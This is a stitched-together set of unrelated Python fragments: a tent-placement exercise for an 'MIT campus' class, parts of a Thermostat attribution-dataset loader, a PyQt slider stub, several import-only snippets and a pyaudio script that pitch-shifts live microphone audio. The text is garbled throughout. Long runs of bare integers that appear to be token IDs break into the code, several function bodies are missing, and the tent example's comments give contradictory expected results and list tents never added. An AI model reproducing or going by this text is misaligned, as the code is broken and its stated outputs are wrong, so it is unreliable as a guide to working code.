if new_tent_loc == each_loc or new_tent_loc.dist_from(each_loc) < 0.5:
return False
self.tent_loc.append(new_tent_loc)
return True
def remove_tent(self, tent_loc):
""" Assumes tent_loc is a Location
Removes tent_loc from the campus.
Raises a ValueError if there is not a tent at tent_loc.
Does not return anything """
if tent_loc not in self.tent_loc:
raise ValueError
else:
self.tent_loc.remove(tent_loc)
def get_tents(self):
""" Returns a list of all tents on the campus. The list should contain
the string representation of the Location of a tent. The list should
be sorted by the x coordinate of the location. """
tent_list = []
tempcopy = self.tent_loc.copy()
for item in insertion_sort(tempcopy):
item_str = '<' + str(item.getX()) + ',' + str(item.getY()) + '>'
tent_list.append(item_str)
return tent_list
c = MITCampus(Location(1,2))
print(c.add_tent(Location(-1,2))) #should return True
print(c.add_tent(Location(-1,2))) #should return True
print(c.add_tent(Location(-1,2))) #should return False
print(c.add_tent(Location(-1,2))) #should return False
print(c.get_tents()) #should return ['<0,0>', '<1,2>', '<2,3>']
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] | 2.393424 | 882 |
import numpy as np
import os
# new change
from sys import platform
# new change
from datasets import Dataset, load_dataset
from itertools import groupby
from overrides import overrides
from sklearn.metrics import classification_report
from tqdm import tqdm
from transformers import AutoTokenizer
from typing import Dict, List
from thermostat.data import additional_configs, thermostat_configs
from thermostat.data.tokenization import fuse_subwords
from thermostat.utils import lazy_property
from thermostat.visualize import ColorToken, Heatmap, normalize_attributions
class ThermopackMeta(type):
""" Inspired by: https://stackoverflow.com/a/65917858 """
@staticmethod
def force_child(fun, fun_name, base, child):
"""Turn from Base- to Child-instance-returning function."""
return wrapper
class PlaceholderThermounit:
""" Raw single instance of a Thermopack. Accessing units of a Thermopack will automatically cast these to
Thermounits. This class exists for efficiency purposes. Properly processing an entire dataset while loading it
takes too long. """
class ThermounitAttributeArray(np.ndarray):
""" NumPy Array of a list of attribute values of Thermopack units
Follows: https://numpy.org/devdocs/user/basics.subclassing.html"""
class Thermounit(PlaceholderThermounit):
""" Processed single instance of a Thermopack (Thermostat dataset/configuration) """
@property
@property
def fill_text_fields(self, fuse_subwords_strategy='salient'):
""" Use detokenizer to fill text fields """
# Determine groups of tokens split by [SEP] tokens
text_groups = []
for group in [list(g) for k, g in groupby(self.tokens.items(),
lambda kt: kt[1] != self.tokenizer.sep_token) if k]:
# Remove groups that only contain special tokens
if len([t for t in group if t[1] not in self.tokenizer.all_special_tokens]) < len(group):
text_groups.append(group)
# Assign text field values based on groups
for text_field, field_tokens in zip(self.text_fields, text_groups):
# Create new list containing all non-special tokens
non_special_tokens_enum = [t for t in field_tokens if t[1] not in self.tokenizer.all_special_tokens]
# Select attributions according to token indices (tokens_enum keys)
selected_atts = [self.attributions[idx] for idx in [t[0] for t in non_special_tokens_enum]]
if fuse_subwords_strategy:
tokens_enum, atts = fuse_subwords(non_special_tokens_enum, selected_atts, self.tokenizer,
strategy=fuse_subwords_strategy)
else:
tokens_enum, atts = non_special_tokens_enum, selected_atts
assert (len(tokens_enum) == len(atts))
# Cast each token into ColorToken objects with default color white which can later be overwritten
# by a Heatmap object
color_tokens = [ColorToken(token=token_enum[1],
attribution=att,
text_field=text_field,
token_index=token_enum[0],
thermounit_vars=vars(self))
for token_enum, att in zip(tokens_enum, atts)]
# Set class attribute with the name of the text field
setattr(self, text_field, Heatmap(color_tokens))
# Introduce a texts attribute that also stores all assigned text fields into a dict with the key being the
# name of each text field
setattr(self, 'texts', {text_field: getattr(self, text_field) for text_field in self.text_fields})
@property
def explanation(self, keep_padding_tokens=False):
""" Token-attribution tuples of a Thermounit """
if keep_padding_tokens:
tokens = self.tokens
else:
tokens = [(idx, token) for idx, token in self.tokens.items() if token != self.tokenizer.pad_token]
attributions = [att for i, att in enumerate(self.attributions) if i in [t[0] for t in tokens]]
token_att_tuples = list(zip([t[1] for t in tokens], attributions, [t[0] for t in tokens]))
return token_att_tuples
@property
def heatmap(self, gamma=1.0, normalize=True, flip_attributions_idx=None, fuse_subwords_strategy='salient'):
""" Generate a heatmap from explanation (!) data (without instantiating text fields)
for a single data point of a Thermostat dataset """
# Handle attributions, apply normalization and sign flipping if needed
atts = [x[1] for x in self.explanation]
if normalize:
atts = normalize_attributions(atts)
if flip_attributions_idx == self.predicted_label:
atts = [att * -1 for att in atts]
non_pad_tokens_enum = [tuple(x[i] for i in [2, 0]) for x in self.explanation]
if fuse_subwords_strategy:
tokens_enum, atts = fuse_subwords(non_pad_tokens_enum, atts, self.tokenizer,
strategy=fuse_subwords_strategy)
else:
tokens_enum, atts = non_pad_tokens_enum, atts
assert (len(tokens_enum) == len(atts))
# Cast each token into ColorToken objects with default color white which can later be overwritten
# by a Heatmap object
color_tokens = [ColorToken(token=token_enum[1],
attribution=att,
text_field='text',
token_index=token_enum[0],
thermounit_vars=vars(self))
for token_enum, att in zip(tokens_enum, atts)]
return Heatmap(color_tokens=color_tokens, attributions=atts, gamma=gamma)
def list_configs():
""" Returns the list of names of all available configs in the Thermostat HF dataset"""
return [config.name for config in thermostat_configs.builder_configs]
def get_config(config_name):
""" Returns a ThermostatConfig if a config exists by the name of `config_name`, else returns None
based on : https://stackoverflow.com/a/7125547 """
return next((x for x in thermostat_configs.builder_configs if x.name == config_name), None)
def get_text_fields(config_name):
""" Returns a list of the text fields in a Thermostat config """
text_fields = get_config(config_name).text_column
if type(text_fields) != list:
text_fields = [text_fields]
return text_fields
def load(config_str: str = None, **kwargs) -> Thermopack:
"""
Wrapper around the load_dataset method from the HF datasets library:
https://huggingface.co/docs/datasets/package_reference/loading_methods.html#datasets.load_dataset
:param config_str: equivalent to the second argument (`name`) of `datasets.load_dataset`. The value has to be one of
the available configs in `thermostat.data.thermostat_configs.builder_configs` (accessible via `list_configs()`).
:param kwargs: Additional keywords will all be passed to `datasets.load_dataset`. `path`, `name` and `split` are
already reserved.
"""
assert config_str, f'Please enter a config. Available options: {list_configs()}'
assert config_str in list_configs(), f'Invalid config. Available options: {list_configs()}'
""" Following https://stackoverflow.com/a/23430335/6788442 """
ld_kwargs = {key: value for key, value in kwargs.items() if
key in load_dataset.__code__.co_varnames and key not in ['path', 'name', 'split']}
print(f'Loading Thermostat configuration: {config_str}')
if ld_kwargs:
print(f'Additional parameters for loading: {ld_kwargs}')
# new change
if platform == "win32":
dataset_script_path = os.path.dirname(os.path.realpath(__file__)).replace('\\thermostat\\data',
'\\thermostat\\dataset.py')
else:
dataset_script_path = os.path.dirname(os.path.realpath(__file__)).replace('/thermostat/data',
'/thermostat/dataset.py')
# new change
data = load_dataset(path=dataset_script_path,
name=config_str, split="test", **ld_kwargs)
return Thermopack(data)
def get_coordinate(thermostat_dataset: Dataset, coordinate: str) -> str:
""" Determine a coordinate (dataset, model, or explainer) of a Thermostat dataset from its description """
assert coordinate in ['Model', 'Dataset', 'Explainer']
coord_prefix = f'{coordinate}: '
assert coord_prefix in thermostat_dataset.description
str_post_coord_prefix = thermostat_dataset.description.split(coord_prefix)[1]
if '\n' in str_post_coord_prefix:
coord_value = str_post_coord_prefix.split('\n')[0]
else:
coord_value = str_post_coord_prefix
return coord_value
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26336,
2420,
7032,
8,
198,
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220,
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220,
220,
220,
329,
257,
2060,
1366,
966,
286,
257,
12634,
1712,
265,
27039,
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628,
220,
220,
220,
220,
220,
220,
220,
1303,
33141,
24548,
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4174,
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1634,
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611,
2622,
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220,
220,
220,
220,
220,
708,
82,
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685,
87,
58,
16,
60,
329,
2124,
287,
2116,
13,
1069,
11578,
341,
60,
198,
220,
220,
220,
220,
220,
220,
220,
611,
3487,
1096,
25,
198,
220,
220,
220,
220,
220,
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220,
220,
220,
220,
220,
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82,
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3487,
1096,
62,
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7,
30353,
8,
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14283,
62,
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6624,
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13,
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25,
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220,
220,
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220,
220,
220,
220,
220,
220,
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82,
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1635,
532,
16,
329,
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287,
708,
82,
60,
628,
220,
220,
220,
220,
220,
220,
220,
1729,
62,
15636,
62,
83,
482,
641,
62,
44709,
796,
685,
83,
29291,
7,
87,
58,
72,
60,
329,
1312,
287,
685,
17,
11,
657,
12962,
329,
2124,
287,
2116,
13,
1069,
11578,
341,
60,
198,
220,
220,
220,
220,
220,
220,
220,
611,
32738,
62,
7266,
10879,
62,
2536,
4338,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16326,
62,
44709,
11,
708,
82,
796,
32738,
62,
7266,
10879,
7,
13159,
62,
15636,
62,
83,
482,
641,
62,
44709,
11,
708,
82,
11,
2116,
13,
30001,
7509,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4811,
28,
69,
1904,
62,
7266,
10879,
62,
2536,
4338,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16326,
62,
44709,
11,
708,
82,
796,
1729,
62,
15636,
62,
83,
482,
641,
62,
44709,
11,
708,
82,
628,
220,
220,
220,
220,
220,
220,
220,
6818,
357,
11925,
7,
83,
482,
641,
62,
44709,
8,
6624,
18896,
7,
30353,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
5833,
1123,
11241,
656,
5315,
30642,
5563,
351,
4277,
3124,
2330,
543,
460,
1568,
307,
6993,
9108,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
416,
257,
12308,
8899,
2134,
198,
220,
220,
220,
220,
220,
220,
220,
3124,
62,
83,
482,
641,
796,
685,
10258,
30642,
7,
30001,
28,
30001,
62,
44709,
58,
16,
4357,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
39629,
28,
1078,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2420,
62,
3245,
11639,
5239,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11241,
62,
9630,
28,
30001,
62,
44709,
58,
15,
4357,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
21969,
977,
270,
62,
85,
945,
28,
85,
945,
7,
944,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
11241,
62,
44709,
11,
708,
287,
19974,
7,
83,
482,
641,
62,
44709,
11,
708,
82,
15437,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
12308,
8899,
7,
8043,
62,
83,
482,
641,
28,
8043,
62,
83,
482,
641,
11,
24548,
507,
28,
30353,
11,
34236,
28,
28483,
2611,
8,
628,
198,
4299,
1351,
62,
11250,
82,
33529,
198,
220,
220,
220,
37227,
16409,
262,
1351,
286,
3891,
286,
477,
1695,
4566,
82,
287,
262,
12634,
1712,
265,
42253,
27039,
37811,
198,
220,
220,
220,
1441,
685,
11250,
13,
3672,
329,
4566,
287,
10811,
1712,
265,
62,
11250,
82,
13,
38272,
62,
11250,
82,
60,
628,
198,
4299,
651,
62,
11250,
7,
11250,
62,
3672,
2599,
198,
220,
220,
220,
37227,
16409,
257,
12634,
1712,
265,
16934,
611,
257,
4566,
7160,
416,
262,
1438,
286,
4600,
11250,
62,
3672,
47671,
2073,
5860,
6045,
198,
220,
220,
220,
220,
1912,
319,
1058,
3740,
1378,
25558,
2502,
11125,
13,
785,
14,
64,
14,
49517,
2816,
2857,
37227,
198,
220,
220,
220,
1441,
1306,
19510,
87,
329,
2124,
287,
10811,
1712,
265,
62,
11250,
82,
13,
38272,
62,
11250,
82,
611,
2124,
13,
3672,
6624,
4566,
62,
3672,
828,
6045,
8,
628,
198,
4299,
651,
62,
5239,
62,
25747,
7,
11250,
62,
3672,
2599,
198,
220,
220,
220,
37227,
16409,
257,
1351,
286,
262,
2420,
7032,
287,
257,
12634,
1712,
265,
4566,
37227,
198,
220,
220,
220,
2420,
62,
25747,
796,
651,
62,
11250,
7,
11250,
62,
3672,
737,
5239,
62,
28665,
198,
220,
220,
220,
611,
2099,
7,
5239,
62,
25747,
8,
14512,
1351,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2420,
62,
25747,
796,
685,
5239,
62,
25747,
60,
198,
220,
220,
220,
1441,
2420,
62,
25747,
628,
198,
4299,
3440,
7,
11250,
62,
2536,
25,
965,
796,
6045,
11,
12429,
46265,
22046,
8,
4613,
12634,
35244,
441,
25,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
27323,
2848,
1088,
262,
3440,
62,
19608,
292,
316,
2446,
422,
262,
42253,
40522,
5888,
25,
198,
220,
220,
220,
3740,
1378,
71,
1018,
2667,
2550,
13,
1073,
14,
31628,
14,
19608,
292,
1039,
14,
26495,
62,
35790,
14,
25138,
62,
24396,
82,
13,
6494,
2,
19608,
292,
1039,
13,
2220,
62,
19608,
292,
316,
198,
220,
220,
220,
1058,
17143,
4566,
62,
2536,
25,
7548,
284,
262,
1218,
4578,
357,
63,
3672,
63,
8,
286,
4600,
19608,
292,
1039,
13,
2220,
62,
19608,
292,
316,
44646,
383,
1988,
468,
284,
307,
530,
286,
198,
220,
220,
220,
262,
1695,
4566,
82,
287,
4600,
490,
1712,
265,
13,
7890,
13,
490,
1712,
265,
62,
11250,
82,
13,
38272,
62,
11250,
82,
63,
357,
33780,
2884,
4600,
4868,
62,
11250,
82,
3419,
63,
737,
198,
220,
220,
220,
1058,
17143,
479,
86,
22046,
25,
15891,
26286,
481,
477,
307,
3804,
284,
4600,
19608,
292,
1039,
13,
2220,
62,
19608,
292,
316,
44646,
4600,
6978,
47671,
4600,
3672,
63,
290,
4600,
35312,
63,
389,
198,
220,
220,
220,
1541,
10395,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
6818,
4566,
62,
2536,
11,
277,
6,
5492,
3802,
257,
4566,
13,
14898,
3689,
25,
1391,
4868,
62,
11250,
82,
3419,
92,
6,
198,
220,
220,
220,
6818,
4566,
62,
2536,
287,
1351,
62,
11250,
82,
22784,
277,
6,
44651,
4566,
13,
14898,
3689,
25,
1391,
4868,
62,
11250,
82,
3419,
92,
6,
628,
220,
220,
220,
37227,
14207,
3740,
1378,
25558,
2502,
11125,
13,
785,
14,
64,
14,
24409,
1270,
27326,
14,
3134,
3459,
39506,
37227,
198,
220,
220,
220,
300,
67,
62,
46265,
22046,
796,
1391,
2539,
25,
1988,
329,
1994,
11,
1988,
287,
479,
86,
22046,
13,
23814,
3419,
611,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1994,
287,
3440,
62,
19608,
292,
316,
13,
834,
8189,
834,
13,
1073,
62,
85,
1501,
1047,
290,
1994,
407,
287,
37250,
6978,
3256,
705,
3672,
3256,
705,
35312,
20520,
92,
628,
220,
220,
220,
3601,
7,
69,
6,
19031,
12634,
1712,
265,
8398,
25,
1391,
11250,
62,
2536,
92,
11537,
198,
220,
220,
220,
611,
300,
67,
62,
46265,
22046,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
69,
6,
17699,
10007,
329,
11046,
25,
1391,
335,
62,
46265,
22046,
92,
11537,
198,
220,
220,
220,
1303,
649,
1487,
198,
220,
220,
220,
611,
3859,
6624,
366,
5404,
2624,
1298,
198,
220,
220,
220,
220,
220,
220,
27039,
62,
12048,
62,
6978,
796,
28686,
13,
6978,
13,
15908,
3672,
7,
418,
13,
6978,
13,
5305,
6978,
7,
834,
7753,
834,
29720,
33491,
10786,
6852,
490,
1712,
265,
6852,
7890,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
6852,
490,
1712,
265,
6852,
19608,
292,
316,
13,
9078,
11537,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
27039,
62,
12048,
62,
6978,
796,
28686,
13,
6978,
13,
15908,
3672,
7,
418,
13,
6978,
13,
5305,
6978,
7,
834,
7753,
834,
29720,
33491,
10786,
14,
490,
1712,
265,
14,
7890,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
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] | 2.381327 | 3,813 |
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont
from PyQt5.QtWidgets import QWidget, QHBoxLayout, QLabel, QSlider
class PsSliderParam(QWidget):
"""
Class defining slider QWidget comprehensive of slider name, activation checkbox and value label
"""
| [
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] | 2.904255 | 94 |
from .page_handler import parse_xml
import re
| [
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] | 3.5 | 14 |
# coding: utf-8
#
from uiautomator2 import utils | [
2,
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] | 2.333333 | 21 |
from models.req.Req import Req
from models.object_detection.ObjectDetection import ObjectDetection
| [
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import pyaudio
import numpy as np
import wave
import time
CHUNK = 2048
RATE = 32000
FORMAT = pyaudio.paInt16
CHANNEL = 1
SHIFT = 50
""" recording """
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNEL, rate=RATE, input=True, output=True, frames_per_buffer=CHUNK)
print("start recording...")
print("talk...")
while True:
data = stream.read(CHUNK) # read each chunk
data = np.array(wave.struct.unpack("%dh" % (len(data) / 2),
data)) # data that is writen has twice size of chunk and we just want half of it
data_fourier = np.fft.rfft(data)
mean_freq = np.mean(data_fourier)
data_1 = data[0::4] # divide each chunck into 4 parts
data_2 = data[1::4]
data_3 = data[2::4]
data_4 = data[3::4]
data_1_fourier = np.fft.fft(data_1)
data_2_fourier = np.fft.fft(data_2)
data_3_fourier = np.fft.fft(data_3)
data_4_fourier = np.fft.fft(data_4)
data_1_fourier = np.roll(data_1_fourier, SHIFT) # shift each part
data_2_fourier = np.roll(data_2_fourier, SHIFT)
data_3_fourier = np.roll(data_3_fourier, SHIFT)
data_4_fourier = np.roll(data_4_fourier, SHIFT)
data_1_fourier[:SHIFT] = mean_freq # set head & tail of each chunk equal to avoid noise
data_1_fourier[-SHIFT:] = mean_freq
data_2_fourier[:SHIFT] = mean_freq
data_2_fourier[-SHIFT:] = mean_freq
data_3_fourier[:SHIFT] = mean_freq
data_3_fourier[-SHIFT:] = mean_freq
data_4_fourier[:SHIFT] = mean_freq
data_4_fourier[-SHIFT:] = mean_freq
data_1_new = np.fft.ifft(data_1_fourier)
data_2_new = np.fft.ifft(data_2_fourier)
data_3_new = np.fft.ifft(data_3_fourier)
data_4_new = np.fft.ifft(data_4_fourier)
data_1_new = np.real(data_1_new)
data_2_new = np.real(data_2_new)
data_3_new = np.real(data_3_new)
data_4_new = np.real(data_4_new)
new_data = np.column_stack((data_1_new, data_2_new, data_3_new, data_4_new)).ravel().astype(np.int16) # reasemble parts together
time.sleep(0.02055) # this is used for avoiding eco
output = wave.struct.pack("%dh" % (len(new_data)), *list(new_data)) # pack array into a raw file
stream.write(output)
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8246,
2393,
201,
198,
220,
220,
220,
4269,
13,
13564,
7,
22915,
8,
201,
198
] | 2.033959 | 1,119 |
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